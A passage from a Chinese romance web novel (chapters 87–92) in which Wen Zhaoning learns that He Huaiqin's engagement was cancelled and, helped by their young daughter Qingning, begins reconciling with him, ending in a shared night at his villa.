母亲最近时常说头晕,她起初以为母亲是没睡好累着了,便让母亲多休息,还专门炖了些补气血的汤水,让母亲服下,可母亲的症状非但没有好转,反而有加重的趋势,这样眼前一黑差点晕倒的事情,前两天在厨房腌菜的时候就发生过一次,当时她晃晃悠悠好几下,幸亏温昭宁正好进去拿东西扶住了她,否则,后果不堪设想。 “妈,你除了头晕,其他地方有没有不舒服?” 第87章 你俩不是两情相悦吗 “没有,没事,你不用担心。” “我怎么会不担心?我现在就给你挂号,明天带你去沪城大医院好好做个检查。” 姚冬雪摇头:“不用不用,镇上的卫生所看看就行了,去什么大医院,又贵又麻烦的,我这都是老毛病了,歇歇就好了。” “不行!”温昭宁的态度前所未有的强硬,“这件事你必须听我的。” 第二天,温昭宁把民宿和青柠都托付给了边雨棠,自己带着母亲去了沪城,妹妹温晚醍知道了这件事情后,早早就在医院等着她们了。 姐妹俩一起陪母亲做了一个全面的检查。 幸运的是,母亲的身体没有什么大问题。 医生看着检查报告单说:“从脑部CT来看,没有发现器质性的重大问题,结合你的体检报告来看,头晕的症状很可能跟几个因素有关,一是年龄增长,血管弹性下降,体位变化时供血调节不足,二是存在轻度的贫血和血脂问题,影响了血液携氧能力和流动性,另外,颈椎也有一点小问题,压迫了神经,总之,没什么大碍,都是些小问题。” 从医院出来,温昭宁才感觉自己心头的大石落下了。 真好,母亲的身体没有出现她最害怕的那种崩塌。 她真不敢想象,如果母亲有事,她该怎么办才好。 虚惊一场。 她此时才意识到,这四个字是如此美妙。 “妈,为了庆祝你身体无大碍,中午我请你和晚醍去吃大餐。”温昭宁开心地说。 “吃什么大餐啊。”姚冬雪又开始心疼钱,“我们以前什么没吃过,你现在赚钱也不容易,好好攒着吧,就别再去浪费这个钱了。” “赚钱不花,那多没意思啊,走吧,我带你去吃你以前最爱的法餐。” -- 温昭宁带着母亲和妹妹去了市中心那家以观景闻名的法式餐厅。 这家法式餐厅环境优雅静谧,巨大的落地窗外,是繁华都市的车水马龙和蜿蜒的江景。 姚冬雪以前最喜欢来这里吃饭,可如今显然已经不适应这样的场合,手脚都无措到不知该往哪里放。 点菜的时候,更是频频摇头,觉得哪哪儿都贵。 “妈,你放心地点,我们又不是天天来吃,偶尔来一次,你女儿还是完全负担得起的。”温昭宁宽慰。 姚冬雪还是下不了手,温昭宁直接拿过了菜单,给母亲和妹妹点了最经典的鹅肝、蜗牛、牛排、油封鸭和一些甜点。 “早知道今天要来吃大餐,就把青柠也一起带来了。”姚冬雪一有点好事就惦着青柠。 “她爸现在带着她到处吃大餐,你还怕她没机会吃好吃的吗?”温昭宁说。 一旁的温晚醍捕捉到关键信息:“她爸?” 温昭宁这才想起来,温晚醍还什么都不知道,于是,她把最近发生的一系列的事情都告诉了温晚醍。 温晚醍大脑直接宕机了三十秒:“所以,姐夫是青柠的亲生爸爸?” “贺淮钦是青柠的亲生爸爸没错,但他不是你姐夫。”温昭宁强调。 “为什么啊?”温晚醍不懂,“你俩不是两情相悦吗?” 温昭宁的心像是被拧了一把,她缓了缓,才平静下来为妹妹解释:“因为他要……” “订婚”两个字还没说出口,温昭宁的余光忽然瞥见了一个熟悉的身影,从餐厅另一侧的走廊拐角处,端着托盘,步履匆匆地走进包厢。 那身影高挑修长,即使穿着略显刻板的深蓝色制服套裙,也难掩其曾经养尊处优的气质。 是沈雅菁。 温昭宁怔住了,沈雅菁怎么会在这里工作? 她不是要和贺淮钦订婚了吗? 照理,沈雅菁现在应该忙着准备订婚宴,忙着试礼服试珠宝才对,她怎么还有时间来这里奔忙? 难道,这中间有什么误会?沈雅菁和贺淮钦没有要订婚? 温昭宁的心里瞬间泛起诸多疑问。 “姐,你怎么了?”温晚醍见姐姐忽然出神,伸手拍了她一下。 “哦,没事,你先和妈在这里吃,我碰到和熟人,过去聊两句。” 温昭宁说着,快速站起来,去沈雅菁进入的包厢门口等着。 没一会儿,沈雅菁便笑着从包厢里走了出来。 门一开,温昭宁便看到,包厢里坐着的都是法国人。 “601法国客户,再备两份鹅肝,嫩一点。”沈雅菁在对讲机里喊话后厨,一抬头,看到温昭宁,脸上的表情彻底僵住了。 “嗨,好巧。” 温昭宁朝沈雅菁打了个招呼,目光扫过她制服上的胸牌,餐厅经理沈雅菁。 沈雅菁回过神来后,冲温昭宁露出了一个很僵硬的微笑:“温小姐是来这里吃饭吗?” 她的态度很温和,但显然,这不是她发自本意的温和,而是人在职场,不得不弯腰。 由此,温昭宁能感觉得到,这份工作对沈雅菁很重要。 “是的,我和妈妈妹妹她们在这里吃饭。” 沈雅菁往温昭宁母亲她们坐的那一桌看了一眼:“好的,那祝您和您的家人用餐愉快,有什么问题,随时招呼我们的服务员。” 她说完,冲温昭宁点了点头,转身就要走开。 “等一下。”温昭宁喊住了沈雅菁,“沈小姐,你什么时候方便聊几句,我们聊聊。” “不好意思,我现在在上班时间,上班时间很多事情要处理,没有空和你聊天。” “我可以等你下班。” 沈雅菁皱起眉头,有点不太情愿,但她默了默后,还是同意了:“随你。” 第88章 变成她新老公 吃完饭,温昭宁让妹妹温晚醍带着母亲去逛街,她自己则在餐厅门口等着沈雅菁下班。 她打听过了,沈雅菁今天是中班,两点半下班。 两点四十分,沈雅菁走出餐厅,看到温昭宁,已经全然没有了刚才在餐厅里和善的态度。 “温昭宁,我和你之间有什么可聊的?” 温昭宁把自己提前买的两杯咖啡递到沈雅菁面前:“美式和拿铁,你喝哪杯?” 沈雅菁别开脸:“我都不喝。” “那你就喝拿铁吧。”温昭宁把那杯热拿铁塞到沈雅菁的手里,“我点都点了,不喝多浪费。” 沈雅菁想把咖啡直接扔了,但是,她的手很冷,咖啡杯捧在手心里,勉强可以暖手。 “你找我什么事?是想来看我笑话吗?” “我为什么要看你笑话?”温昭宁问。 “因为我被淮钦哥彻底抛弃了啊。他断了我每个月的生活费,断了我妈的医药费,把原本送给我们母女的房产全都收了回去,现在,我和我妈只能回到之前的老公寓,过着缩衣节食的生活!”沈雅菁看着温昭宁,没好气地说,“你是不是很得意,他为了你,连我爸对他的恩情都不顾了,甚至不惜背上忘恩负义、背信弃义的名声,也要和你在一起!” 温昭宁脑袋里嗡嗡的,反应了许久,才问出一句:“你们不是要订婚了吗?” “订什么婚,他早就取消了。” 这下,温昭宁彻底怔住了。 原来,贺淮钦没有骗她,他真的和沈雅菁取消婚约了。 是她,误会了贺淮钦! 沈雅菁看着温昭宁脸上惊讶的表情,忍不住翻了个白眼:“你在这里装什么装?淮钦哥在你民宿住了那么久,难道他没告诉你?” “他说了,但我没信。那天你来民宿找他,我以为他一边吊着我,一边又要和你订婚。” 温昭宁的实诚让沈雅菁脸上抵触的表情缓和了几分,她忍不住在心底感慨,原来被这样坚定爱着的人,在爱情里也会患得患失。 “淮钦哥才不会吊着谁,他要么爱,要么不爱,明明白白。他但凡有点花花肠子,吊着我一分,我都不可能爱着他那么多年。” 这么多年,能让沈雅菁坚定不移迷恋着贺淮钦的,就是贺淮钦身上的赤诚和坦荡。 在沈雅菁眼里,贺淮钦就是那种典型的让人“始于颜值,陷于才华,忠于人品”的男人。 他虽然不爱自己,但沈雅菁从来没有后悔爱过他。 温昭宁没想到,贺淮钦都和沈雅菁“决裂”了,沈雅菁竟然还愿意帮贺淮钦说话。 可见,贺淮钦的人品,完全让人挑不出错。 “你是不是还喜欢他?”温昭宁试探着问。 “喜欢不起了。”沈雅菁说,“一个人只有闲着没事的时候才会生出恋爱脑,我妈现在连药都快吃不起了,我怎么可能还执着于情情爱爱的。” “那你怪他吗?” 沈雅菁想了想,摇摇头。 “我爸去世后,淮钦哥一直很照顾我和我妈,他让我和我妈有大房子住,有豪车开,每个月准时到账的生活费,更是让我从来没有体验过赚钱的难处,这段时间我自己出来赚钱,见识到了形形色色的人,感受了世间的人情冷暖和尔虞我诈,才真正明白我妈常说的那句‘这个世界上不是所有人都像淮钦那么重情重义,他照顾我们是情分,不是他的本分’,我不会怪他,我只怪我自己,一次一次挑战他的底线,把原本衣食无忧的生活全都作没了。” 温昭宁笑了一下:“虽然你没了衣食无忧的生活,但我感觉你长大了。” “你在嘲笑我?” “当然不是,我在夸奖你。” 沈雅菁喝了一口温昭宁给她的咖啡:“那我谢谢你了。” “我也谢谢你,愿意和我分享那么多心里话。” -- 从沪城回悠山的路上,温昭宁感觉自己前所未有的松快。 母亲身体无大碍,贺淮钦也没有要和沈雅菁订婚,仿佛一切都有了柳暗花明的感觉,就连压在她心上最沉重的抚养权官司,也随着这个误会的解开,出现了更多不同的解法。 就比如,她可以按照青柠所说,把贺淮钦变成她的新老公,那就算贺淮钦要和她争女儿,到最后女儿和他不都还是她的嘛。 现在唯一难题就是贺淮钦对她隐瞒女儿身世的事情仍有怨气,不肯原谅她。 她要重新和他在一起,恐怕没有那么简单。 不过没关系,只要他没有订婚,那她就有机会。 温昭宁回到家后,第一时间去边雨棠那里把青柠接回了家,并且告诉青柠,她准备追求贺淮钦,把贺淮钦变成她新老公的计划。 青柠特别高兴:“太好了妈妈,我举双手双脚支持你。” 她说着,真的在沙发上举起双手双脚,滚成了一个小元宝的形状。 “宝贝,你可不能光嘴上支持哦,妈妈需要你的帮助。” “好,我一定帮助妈妈追到爸爸!可是妈妈,我要怎么帮你才好呢?” “这个嘛,妈妈也还没有想好,总之你要随机应变。” “妈妈,什么叫随机应变?” “随机应变的意思呢,就是随着情况的变化灵活的应对。” 青柠似懂非懂。 这个时候,温昭宁的手机响了。 电话是袁西打来的,袁西说,刚刚贺淮钦的律师廖平打电话给她,说贺淮钦这周六来接青柠去玩的计划取消了,因为贺淮钦这个周六要在律所接待客户,周日又要出差,从沪城来回悠山时间不够,请温昭宁告知青柠,并向青柠转达歉意。 “好的,我知道了。” 温昭宁挂了电话,把这个消息转达给青柠,青柠小嘴一撇,顿时有点失落。 “那我这个周末岂不是不能见到爸爸了?” “没关系的青柠,爸爸没有空来,我们可以去沪城找爸爸啊,对不对?”温昭宁摸着女儿的小脑袋,顺势教她,“你看,这就叫随机应变。” 青柠一听温昭宁要带她去沪城找爸爸,立刻笑出来:“妈妈,我懂了,原来这就叫随机应变。” 第89章 每天超级想他 周六上午,温昭宁开车带着青柠去了沪城。 她没有把这个消息告诉贺淮钦,但是,她提前向陈益打听了贺淮钦的开会时间。 陈益说,贺淮钦的会议下午四点结束。 正好,温昭宁还可以带青柠先去一趟沪城的自然博物馆。 下午,母女俩在自然博物馆逛了一圈,打了卡,拍了很多照片,临近四点的时候,温昭宁带着青柠去了贺淮钦的律所楼下等着。 青柠还是第一次来律所,她仰头看着那栋高耸入云的大楼,问:“妈妈,爸爸就是在这里面上班吗?” “是的,宝贝。” “爸爸什么时候出来?” 温昭宁看了一眼时间,已经四点零五分了:“应该快了。” 她话音刚落,就看到贺淮钦带着陈益和一行人走出来,这群人应该都是律所的客户,有男有女。 青柠从看到贺淮钦的那一刻,就雀跃地想要喊他,温昭宁抬手对青柠比了个“嘘”的手势。 “等一下哦宝贝,要等爸爸先忙完工作。” “好吧。”青柠忍住了呼唤爸爸的冲动。 贺淮钦安排了七座的大商务车送客户去酒店,车子到了后,他和客户一一握手告别,然后,站在门口目送他们上车离开。 青柠见人都走光了,小声地问温昭宁:“妈妈,我现在可以喊爸爸了吗?” 温昭宁点点头。 “爸爸!爸爸!”青柠站在行道树下,对着贺淮钦招手。 贺淮钦听到声音转头,目光穿透了迷蒙的空气和穿梭的车灯,准确地捕捉到了马路对面那一大一小的两个身影。 温昭宁穿着米色的短款毛呢外套,黑色的长裙,她手里牵着的青柠,和她穿着一样的衣服和裙子,是母女装。 贺淮钦的瞳孔收缩了一下,以为自己出现了幻觉。 “哇哦贺律,你的心肝小宝贝来接你下班咯,好羡慕啊。”陈益在旁开口。 这不是恭维上司,这是真羡慕。 被这一大一小的两个漂亮可人儿接下班,是多少男人的终极梦想。 贺淮钦的心像被什么撞了一下。 他的大脑反应过来之前,脚步已经不受控制地朝着马路对面走去。 傍晚的风吹起他大衣的下摆,也吹散了他眼神里的班味。 “青柠宝贝!”贺淮钦大步迈到她们面前,一把抱起青柠,将她举过头顶,原地转了一个圈,“你们怎么来了?” “因为爸爸忙,不能来看我,但我很想爸爸,所以就让妈妈带我来啦。”青柠搂着贺淮钦的脖子蹭他脸颊,“爸爸,我和妈妈来看你,你惊不惊喜啊?” 贺淮钦看了温昭宁一眼,目光又落回到青柠的身上。 “你来看爸爸,爸爸当然惊喜。”他巧妙地绕开了温昭宁。 “那妈妈一起来呢,你是不是更惊喜。” 贺淮钦被青柠问得答不上话,他只能扯开话题:“什么时候到的?” “上午。”温昭宁自然地接过话茬,“我下午带她去自然博物馆逛了逛。” 贺淮钦点了下头,没多说什么。 “爸爸,我饿了。”青柠摸着她的小肚子说。 “好,爸爸带你们去吃饭。” 贺淮钦的车就停在大厦前的露天停车场里,温昭宁走到车边的时候,贺淮钦放下青柠,顺手给她拉开了车门。 温昭宁一愣。 贺淮钦自己也被自己这个自然到像是本能反应的动作惊到了,他正要开口解释,温昭宁抢在他前面说:“我知道,顺便,你是要给青柠开门,我只是顺便。” “你知道就好。” 他们三人上车的时候,廖平廖律师正好从律所出来。 廖平看着他们“其乐融融”的一幕,以为自己眼花。 这是什么情况? 贺律师给孩子妈妈开车门了? 作为经验丰富的律师,他见过太多在法庭上撕破脸,私下却因为孩子而不得不维持表面和平的父母,但刚刚上车的三个人,显然超出了“表面和平”的范畴,尤其是贺淮钦和温昭宁,他只远远一望,就在两人之间感觉到了一种微妙的张力,不像是演的。 廖平想起之前和贺淮钦沟通官司,贺淮钦提到温昭宁时冰冷的语气和坚决的态度,他一直以为,这是一场双方积怨已深,没有调和余地的硬仗。 可现在,情况好像完全不是他以为的那样。 “陈益,贺律他不是说和孩子妈妈绝无复合可能吗?我怎么看他们好像处得还不错啊。” “廖律师,这你就不知道了吧,我们贺律的嘴啊,咬瑞士钻石都跟嗑瓜子似的,死鸭子和他比嘴硬,都得输了连夜收拾行李迁坟。” 廖平:“……” 合着认认真真写诉状,每天都烦恼该怎么帮老板夺回孩子的他才是最大的小丑? -- 贺淮钦带她们去市中心一家新开的主题餐厅吃饭,吃完饭,他又买了单。 这次,温昭宁是故意没和他抢。 等贺淮钦买完单,温昭宁说:“贺先生,加个微信吧,我把餐费A给你。” 贺淮钦欲开口,温昭宁又抢在他前面说:“我看陈助理也挺忙的,这点小事,我们就不要总去麻烦他了。” “不用A了。”贺淮钦说,“我请你。” “这怎么好意思呢。我不喜欢占别人便宜,我还是转给你吧。” 温昭宁差的不是这一顿饭钱,她差的是他的联系方式,既然想要挽回他,至少得先把微信加回来吧。 “不用,就当我谢谢你带青柠来找我。” 温昭宁见贺淮钦油盐不进,低头疯狂朝青柠使眼色。 青柠接收到她的信号,两只小手一把握住贺淮钦的手就开始撒娇:“爸爸,你就加一下妈妈的微信吧,加一下吧,好不好嘛,这样我想你的时候,我还能通过妈妈的微信和你视频聊天,我每天都超想你的!” 这软萌萌的小脸,水汪汪的大眼,说每天超级想他,换谁谁能受得了? 贺淮钦一下就被青柠的撒娇攻势给拿捏住了。 “好,那就加一下。” 两人重新相互添加了好友。 温昭宁看着贺淮钦的微信头像再次出现在自己的微信列表里,她悄悄朝青柠竖了竖大拇指。 青柠得意地挑挑眉,凑到温昭宁身边轻轻地问:“妈妈,我随机应变得好不好?” “好,超好!真是妈妈的聪明乖宝贝!” 第90章 新手爸妈 吃完饭从餐厅出来,天已经黑了。 初冬的冷风,吹得人直打寒颤,温昭宁下意识地拢了拢衣领,替青柠带上外套的连帽。 贺淮钦停下脚步,看向她:“你的车停在哪里?” “在律所大楼前的停车场。” “你们今晚还回悠山吗?” “回。” 贺淮钦想了想:“那我安排司机过来送你们。” “不用,我自己开就行。” “路途太远了,又是夜路,你一个人带着孩子不安全……” “爸爸,既然路途那么远,又是夜路,妈妈一个人带着我不安全,那不如,我和妈妈今晚就不走了吧!”青柠开口,“我今晚想睡爸爸的家里,我记得爸爸家的房子特别大,我和妈妈以前就去睡过,今晚就让我们再睡一次吧。” 她话音落下,两个大人都愣住了。 尤其是温昭宁,她原本想循序渐进,没想到女儿助攻起来这么猛,直接给她放了个大招。 她看向贺淮钦,等他的反应。 贺淮钦显然也没有料到女儿会提出这样一个建议,不过,孩子想要去爸爸家过夜,这完全合情合理,只是,女儿带了一个很大的“拖油瓶”…… “那个……既然青柠想去爸爸家里住一晚,那我就去住酒店好了。”温昭宁以退为进。 “不行,妈妈得在我身边。”青柠一把握住了温昭宁的手,“妈妈,你不在我身边,我睡不着。” “可是宝贝,妈妈去你爸爸那里过夜不太合适。” “有什么不合适的?之前我生病的时候,爸爸不也住在我们家里吗?”青柠的目光在他们两个人之间来回,“之前可以?现在为什么不可以了?” 聪明女儿,逻辑满分。 温昭宁不说话了,她就等着贺淮钦回答。 贺淮钦沉默了片刻,点头:“既然青柠想,那就走吧。” 他着重强调了,是青柠想。 对,是青柠想。 贺淮钦去把车开过来,青柠这一天放电太多,上车没多久就歪倒在温昭宁的腿上睡着了。 车厢里没了孩子叽叽喳喳的声音,一下子静了下来。 温昭宁一手扶着青柠,另一手掏出手机给母亲姚冬雪发了条信息,告诉她今晚她们不回去了。 母亲没多问什么,只是叮嘱她们注意安全。 和母亲报备完,温昭宁一抬头,车子已经到了贺淮钦的别墅门口。 停车后,贺淮钦率先下车,绕到青柠坐的那一侧,打开车门,俯身进来抱青柠。 青柠枕在温昭宁的大腿上,贺淮钦的手抄到青柠颈下位置时,无可避免地碰到了温昭宁的腿。 他的手很热,虽然只是一瞬的触碰,温昭宁仍觉得那一块的皮肤好像烧起来了。 贺淮钦抱着女儿,朝别墅大门走去。 温昭宁后下车,快步跟在他们身后。 走到门口,贺淮钦停了下来,因为他抱着孩子,没有手去按密码。 “按密码。”贺淮钦转头向温昭宁求助。 温昭宁抱起肘,摇摇头:“不敢按,怕你报警抓我。” 贺淮钦:“……” 好好好,可算给她逮到机会拿乔了。 “抱歉,之前的事情是我太偏激,我向你道歉。现在,麻烦你帮忙按一下密码。”贺淮钦说。 “密码是什么?” “没变。” “还没变?贺律师,你家都被人非法闯入过一次了,你竟然还不改密码,是你心大?还是这个密码有什么特殊的含义啊?”温昭宁故意问。 “没有特殊的含义,单纯就是懒得换。” 懒得换。 那他可真够懒的。 -- 温昭宁打开了密码锁,两人一前一后进门,穿过庭院。 走进大厅后,温昭宁又熟门熟路地替贺淮钦打开了大厅和楼道的灯。 贺淮钦一路把青柠抱上楼,放到他主卧的大床上。 温昭宁因为要帮青柠脱衣服,也跟着贺淮钦走进了他的主卧。 这个曾经他们俩同床共枕相拥而眠的卧室,变化不大,只是空气里属于温昭宁的气息,已经被过滤了一遍又一遍,如今,推门进入,能感受到的只有贺淮钦身上清冽而疏离的气息。 床头柜上,放着一个晶莹剔透的水晶匣子,这个水晶匣子是圆柱形的,约莫手掌大小,切割完美,在灯光下折射出璀璨的光芒。 然而,吸引温昭宁的并不是这价值不菲的水晶本身,而是这个水晶匣子里小心翼翼盛放着的东西。 那是青柠和贺淮钦第一次以父女身份相见的那一天,青柠送给贺淮钦的“彩泥人偶爸爸”。 没想到,贺淮钦不仅如此郑重其事地将彩泥人偶装进了水晶匣子,还特地摆放在了他床头的位置。 看得出来,贺淮钦是真的很珍视青柠,珍视青柠的心意。 “青柠的外套很厚,得脱了,不然睡不好。”温昭宁轻声说,“你帮我托着她。” 贺淮钦俯身,温柔地托住青柠的小身子。 温昭宁凑过去,动作熟练地解开青柠的羽绒服拉链,拉链发出细小的“刺啦”声,随后,她又轻轻地将青柠的小手臂从衣袖里褪出来。 两人的注意力都在女儿身上,浑然不觉彼此的距离在不经意间拉得极近,直到温昭宁一抬眼,看到贺淮钦低垂的眼睫和他因为专注而紧抿着的薄唇近在咫尺,她一顿。 贺淮钦注意到温昭宁的停顿,也抬眸朝她看过来。 两人的眼睛,就在这方寸之间,毫无预兆地猝然相对,他们的呼吸,也蔓延着纠缠在一起。 气氛莫名暧昧起来。 曾经在这个房间里、在这张床上,他们耳鬓厮磨、肌肤相贴、抵死缠绵,那些甜蜜的、热烈的、旖旎的记忆碎片,在这一瞬间,全都冲破了时间的藩篱,汹涌而至。 温昭宁的脸颊无法控制地迅速烧了起来,贺淮钦的目光也有点不自然。 幸好,青柠的外套顺利脱了下来。 两人又这样轻轻脱掉了青柠的毛衣。 “裤子要脱吗?”贺淮钦问。 “把外裤脱了,让她穿着秋衣秋裤睡。” 贺淮钦“嗯”了声,轻手轻脚地将青柠的小身子放下,又轻手轻脚地将青柠的两只小脚丫抬了起来。 卧室壁灯柔和的光线,倒映出他们小心翼翼的剪影。 明明青柠已经六岁了,可这一刻,温昭宁觉得,他们好像一对新手爸妈。 第91章 今晚谁都不能走 别墅全屋地暖,温昭宁帮青柠脱掉衣服裤子后,感觉自己一身的汗。 她想要洗个澡,可是她没有带任何换洗的衣物,因为来的时候,根本没想过会在这里过夜。 温昭宁正犹豫着该怎么解决,贺淮钦似乎看穿了她在想什么。 他走到衣帽间,从休闲衣物区略一翻找,找到了一件男士的纯棉大T恤,递给温昭宁。 “给你点了洗漱用品,等下就到了。”他说。 温昭宁意外,他什么时候给她点的洗簌用品? 难道是刚才路上等红灯的时候? 果然,十分钟后,闪送上门了。 贺淮钦把袋子拎上来给温昭宁,温昭宁看了一眼袋子里的东西,除了牙膏牙刷一次性毛巾浴巾之外,竟然还有一次性内裤,而且,尺寸正是她的尺寸。 温昭宁心头涌起一丝暖意。 “谢谢。” 贺淮钦没应声,只是说:“今晚你和青柠睡主卧。” 他说完,就出去。 温昭宁去洗澡。 这里的一切都是她熟悉的,虽然她已经离开快大半年,虽然这个房间里已经没有她的痕迹,但这里,满满都是贺淮钦的气息,已经失眠了很长一段时间的温昭宁,今晚意外的倒下就睡着了。 只是,她刚睡着没多久,一声带着惊恐和哭腔的短促尖叫声,猛地在她耳边炸响。 “呜……不要……妈妈……妈妈!” 温昭宁瞬间惊醒,心脏狂跳。 她立刻侧身,只见身旁的青柠不知道什么时候已经坐起来了,她的小脸上满是泪水,眼睛里充满了未散的恐惧。 “妈妈!有怪兽……我害怕!我害怕!”青柠一边哭一边喊。 这显然是做噩梦惊醒了。 “没事宝贝,妈妈在这里,不怕不怕!”温昭宁把女儿搂进怀里,一只手轻轻拍着她的背,柔声地安抚着,“不怕不怕,青柠不怕,没有怪兽,只是做噩梦了而已!” “呜呜……妈妈抱紧我……”青柠哭得抽抽噎噎,小手抓着温昭宁的T恤,将满是泪痕的小脸埋进温昭宁的怀里。 温昭宁只能更紧地抱着她,亲吻她的额头,一遍一遍重复安抚的话语:“妈妈在……妈妈在……” 然而孩子的恐惧情绪一旦爆发,很难立刻平复,青柠越哭越伤心,似乎被那个可怕的噩梦魇住了。 温昭宁正不知如何是好,主卧的门被轻轻推开了。 贺淮钦站在门口,他穿着睡衣和拖鞋,走廊里暖黄的灯光从他身后漫进来,勾勒出他高大的轮廓。 “青柠,怎么了?” 青柠哭得正伤心,听到动静,泪眼朦胧地抬起小脸,看向门口。 当她看到门口站着贺淮钦时,顿时像是找到了另一个可以依靠的港湾,委委屈屈地朝贺淮钦张开了双臂:“爸爸……呜呜……爸爸抱……有怪兽……爸爸抱!” 这一声带着哭腔的“爸爸抱”,像一把柔软的钥匙,瞬间打开了贺淮钦心底最柔软的门。 他没有丝毫犹豫,立刻大步走进了卧室,走到大床边,弯腰伸出双臂,将青柠从温昭宁的怀里接了过去。 青柠一落入爸爸的怀抱,哭声立刻小了一些,她将湿漉漉的小脸贴在爸爸的颈窝里,抽噎着说:“爸爸,有怪兽,很可怕的怪兽,它要吃了我和妈妈。” “青柠,噩梦都是假的,这个世界上没有怪兽。”贺淮钦抱着青柠,在床边来回走动着安抚她,“爸爸在,就什么都不要怕,好不好?” 他的声音低沉而富有磁性,在寂静的夜里,带着一种神奇的安抚力量。 “那爸爸能不能在这里陪我和妈妈睡觉?” 贺淮钦的脚步一顿:“什么?” “呜呜……我想爸爸和妈妈一起陪我睡觉……爸爸妈妈从来没有陪我一起睡过觉……呜呜……”青柠一边哭一边说,小表情让人心疼。 贺淮钦看向温昭宁,似乎是在征求她的意见,温昭宁冲他点了点头。 “既然青柠想,那就睡。”她学着贺淮钦的语气。 贺淮钦抱着女儿,坐到主卧的床上。 “那爸爸坐在这里看着青柠,青柠睡好不好?”贺淮钦摸摸青柠的小脑袋。 “不好,爸爸躺下,妈妈也躺下,我要做爸爸妈妈的小夹心。” 贺淮钦和温昭宁没办法,只能一左一右,分别平躺在女儿的身侧。 为了避免尴尬,两人都有意将视线落在天花板上。 青柠不太满意:“爸爸妈妈都面朝着我。” 温昭宁闻言,轻轻侧身,保持着略显僵硬的姿势,面朝着青柠。 贺淮钦也同样侧过身来,面朝着女儿。 青柠那么小小的一只,陷在柔软的床垫里,几乎起不到任何阻隔的作用。 这样遥遥一看,完全就是温昭宁和贺淮钦面朝着彼此躺着,距离很近很近。 青柠还是不太满意:“爸爸妈妈都抱着我。” 她说完,将两人一左一右的胳膊都扯过来,搂在自己的身上,于是,温昭宁和贺淮钦的胳膊无可避免地重叠在一起。 他的在上,她的在下。 温昭宁心“咚咚咚”地乱跳起来,贺淮钦的胳膊肌理坚实,那温度,那触感,仿佛能直接灼穿她的皮肤。 这和他们两个一起搂着睡了有什么区别? “爸爸妈妈陪我睡觉觉真好。”青柠左边贴贴,右边贴贴,然后叮嘱道:“今晚谁都不能走,我明天醒来要检查的哦。” “知道了宝贝,爸爸妈妈都不走,你乖乖睡觉了好不好?”温昭宁轻声哄。 “好,爸爸妈妈晚安。” “晚安。” “晚安。” 夜渐渐深了,万籁俱寂。 没一会儿,大床上,青柠终于在贺淮钦和温昭宁的陪伴下重新沉入了安稳的睡眠。 她小小的身子蜷缩在柔软蓬松的被子里,只露出毛茸茸的发顶和半张小脸,呼吸均匀绵长。 青柠的两只小手,睡着了依旧没有松开温昭宁和贺淮钦的手,就好像他们的手是她在睡梦中驱散恐惧最重要的锚。 第92章 爸爸睡在中间 温昭宁被青柠这样一闹后,已经睡意全无,青柠另一侧的贺淮钦,倒是很快睡着了。 她听到他那边传来均匀的呼吸声,悄悄睁开眼睛。 贺淮钦一条胳膊搭在青柠的身上,另一条胳膊弯曲着枕在自己的头下,壁灯柔和的光线勾勒出他侧脸的轮廓,他的鼻梁高挺,眉宇间的线条沉静而深邃。 温昭宁能闻到他身上那种熟悉的气息,混着床品淡淡的香气和女儿身上的奶香,形成一种令人心悸的复合气息。 时间,在寂静中被无限拉长。 温昭宁紧紧闭上眼睛,强迫自己不去感受手臂上传来的温度和重量,可有些感觉,越是压抑,越是清晰。 到了后半夜,温昭宁才慢慢睡着。 可她刚睡着没多久,意识就再次从一片温暖的混沌中逐渐浮上来。 她感觉自己周身被一种懒洋洋的暖意包裹着,她下意识地想要将脸埋进那温暖的源头,直到鼻尖蹭到纽扣的硬度。 纽扣? 哪里来的纽扣? 温昭宁睁开眼睛,印入眼帘的不是女儿毛茸茸的发顶,而是一片深灰色的睡衣布料,布料之下,是紧实而充满力量的胸膛轮廓。 她的脸,就贴在这片胸膛上,她的手臂,正以一种近乎依赖的姿势,环抱着对方的腰身。 而对方的一条手臂,也正以一种充满占有欲的力道,横亘在她的腰间,将她牢牢圈在怀里。 两人的身体,严丝合缝地贴在了一起,她的腿,甚至无意识地缠住了他的。 她感觉到的暖意正是从这相贴的肌肤间源源不断地传递过来的。 温昭宁的大脑,足足有好几秒一片空白。 然后,昨夜的记忆才一点一点在她脑海里苏醒。 青柠的噩梦,三人的同床,交叠的手臂和那无声弥漫的暧昧气息,统统撞进了她的意识里。 可明明是三个人一起睡的,现在怎么只剩下了他们两个人。 温昭宁还没反应过来。 贺淮钦也睁开了眼睛,他的眼神里一开始带着初醒时的朦胧,在看清楚怀里的温昭宁后,迅速恢复了清明。 “青柠呢?” “青柠呢?” 两人同时开口,又同时推开对方,转身往自己那一侧的床下寻找。 空空如也。 床上床下,都空空如也。 原本睡在两人中间的青柠,不见了! 这个认知,比温昭宁发现自己和贺淮钦抱在一起睡觉更让她心惊肉跳。 温昭宁手忙脚乱地掀开被子下床。 她穿着贺淮钦的T恤,衣摆很长,遮住腿根,慌忙中,她连拖鞋都没踩,就这么赤着脚跑去洗手间寻找。 洗手间也没有人。 贺淮钦下床,看着她两条纤白的大腿在眼前乱晃,一股无名燥热在身体里乱窜。 “可能是自己醒了,下楼去玩了。楼下大门她打不开,肯定跑不出去。”贺淮钦的语气里带着几分宽慰的意味,“下楼去看看。” 温昭宁点点头,赶紧拉开卧室的门往楼下跑。 她的心已经悬到嗓子眼。 毕竟,青柠之前从来没有独自一个人悄悄起床的经历,就算她比温昭宁先醒,也会躺在床上等着温昭宁一起起床。 贺淮钦紧跟着温昭宁,见她如此紧张,神经也紧绷了起来。 客厅里,晨光已经透过落地窗大片地铺洒进来,将整个空间照得明亮而温暖。 一个小小的身影,正坐在沙发里。 是青柠! 青柠自己穿好了衣服和裤子,但头发没有扎,翘起几根呆毛,蓬乱又滑稽。 她抱着一个柔软的靠垫,正津津有味地看着《小猪佩奇》,电视里,佩奇和乔治在泥坑里跳来跳去,发出咯咯咯的笑声,她也发出咯咯咯的笑声。 温昭宁看到孩子安好地在看电视,这才重重地松了一口气。 “青柠。”她唤了一声。 青柠听到声音,转过头来,看到站在楼道口的温昭宁和贺淮钦,她的眼睛一亮,扔掉怀里的靠垫,手脚并用地从沙发上滑下来,快乐小鸟一样朝他们跑了过来。 “爸爸!妈妈!你们醒啦!”她的声音清脆,带着满满的活力,完全没有了昨晚被噩梦惊醒的阴影。 “你醒了怎么没有叫妈妈?”温昭宁揉揉女儿的小脑袋,“妈妈醒来没看到你,吓了一跳。” 